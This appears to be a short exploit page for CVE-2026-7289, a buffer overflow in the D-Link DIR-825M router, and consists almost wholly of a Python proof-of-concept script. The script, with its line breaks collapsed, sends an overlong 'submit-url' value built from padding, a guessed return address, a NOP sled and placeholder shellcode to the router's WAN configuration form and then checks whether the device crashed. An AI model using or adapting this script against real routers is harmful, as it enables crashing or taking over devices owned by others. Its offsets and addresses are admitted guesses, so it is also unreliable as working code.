CVE-2026-7289 D-Link DIR-825M 缓冲区溢出漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/boafrm/formWanConfigSetup" # Construct malicious payload # The offset and return address need to be adjusted based on specific firmware analysis # This example simulates a stack-based buffer overflow buffer_size = 500 ret_addr = "\x00\x40\x80\x00" # Hypothetical return address (Little Endian) padding = "A" * 300 nop_sled = "\x90" * 32 # Simple payload structure: Padding + Return Address + NOP Sled + Shellcode placeholder payload = padding + ret_addr + nop_sled + "\xcc" * 100 # \xcc is INT3 for debugging # Data parameters to be sent data = { "submit-url": payload, "action": "some_action" } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") # Check if device is crashed or behaving unexpectedly if response.status_code != 200: print("Exploit may have succeeded or service crashed.") else: print("Request sent, verify device status manually.") except Exception as e: print(f"An error occurred: {e}")